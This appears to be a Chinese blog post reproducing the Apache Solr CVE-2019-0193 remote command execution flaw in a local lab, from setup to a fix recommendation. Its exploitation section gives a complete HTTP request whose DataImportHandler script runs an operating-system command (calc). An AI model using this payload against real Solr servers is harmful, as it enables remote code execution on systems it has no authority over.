• CVE-2019-0193:Apache Solr 远程命令执行漏洞复现


    CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

    0X00漏洞简介

    CVE-2019-0193是一个存在于Apache solr搜索引擎中的命令执行漏洞

    0X01漏洞原因

    Apache solr 是一款开源的搜索服务器并且使用java语言开发;主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词 处理,根据分词结果查找索引,继而找到文档

      在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制

    0X02漏洞影响范围

    影响范围: Apache solr < 8.2.0

    0X03漏洞环境搭建

    下载地址https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip

    解压完成后使用cmd进入bin文件夹执行solr –e dih

    访问系统提示的界面http://localhost:8983/solr即可访问

    查看虚拟机ip并在本机访问可成功访问

    0X04漏洞利用

    cmd 命令执行curl http://localhost:8983/solr/admin/cores (或者浏览器访问)可以获取core信息

    根据获取的core信息中name信息构造payload下面的 <your_core_name> 需要替换为你获取到的 core 的 name(共两处)并将host改成你的目标机ip

    payload如下:

    POST /solr/your_name/dataimport HTTP/1.1 Host: 192.168.150.164:8983 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.150.164:8983/solr/ Content-type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 1005 Connection: close command=full-import&verbose=false&clean=false&commit=false&debug=true&core=your_name&name=dataimport&dataConfig=<dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(row){ var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("calc").getInputStream())); var result = []; while(true) { var oneline = bufReader.readLine(); result.push( oneline ); if(!oneline) break; } row.put("title",result.join("
    
    ")); return row; } ]]></script> <document> <entity name="entity1" url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml" processor="XPathEntityProcessor" forEach="/RDF/item" transformer="script:poc"> <field column="title" xpath="/RDF/item/title" /> </entity> </document> </dataConfig>

    利用结果如下:

    0X05漏洞修复

    建议升级到最新版本

  • 相关阅读:
    C#项目打包,并自动安装SQL数据库(转)
    [转]将List对象列表转换成JSON格式的类
    查找算法集:顺序查找、二分查找、插值查找、动态查找(数组实现、链表实现)
    C#编码好习惯
    数据库构思与设计规范
    ASP.NET下母版页和内容页中的事件发生顺序整理
    记录要点
    div挡住select的5种方法
    html源码获取方法
    TransactionScope 分布式事务
  • 原文地址:https://www.cnblogs.com/L0ading/p/12330032.html
Copyright © 2020-2023  润新知